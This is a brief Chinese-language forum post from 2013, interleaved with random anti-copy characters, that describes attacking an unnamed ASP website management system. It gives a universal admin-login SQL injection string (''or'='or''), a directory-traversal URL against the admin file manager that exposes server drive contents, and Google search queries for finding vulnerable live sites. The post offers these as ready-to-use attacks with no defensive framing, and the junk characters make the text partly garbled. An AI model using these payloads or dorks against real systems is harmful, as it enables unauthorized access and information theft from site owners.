后台万能密码 'or'='or'. _; u& E: R4 L5 y) ^6 z/ T) {
7 H9 |! _3 j/ M! u; o, H* L
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！7 `- z( z0 e) b5 [9 m
admin/uploadfile.asp?currentFolder=/upfiles/../
& B7 h$ W$ q% t; W2 P/ G2 D
% f4 J# T# P& Z, X9 [5 \- W漏洞证明：
' H4 p/ [, ~- y/ _* u! ?6 @4 T$ C! z' h% W9 ]
谷歌：inurl:type.asp?id=1 新闻中心
- w( e# L8 D- S' _或者 ：inurl:download_ok.asp?0 a ~4 C1 Z8 B, d4 Z( \! S3 X- E
' J5 a4 N @; \3 a
|
发表于 2013-3-14 20:17:32
收藏
支持
反对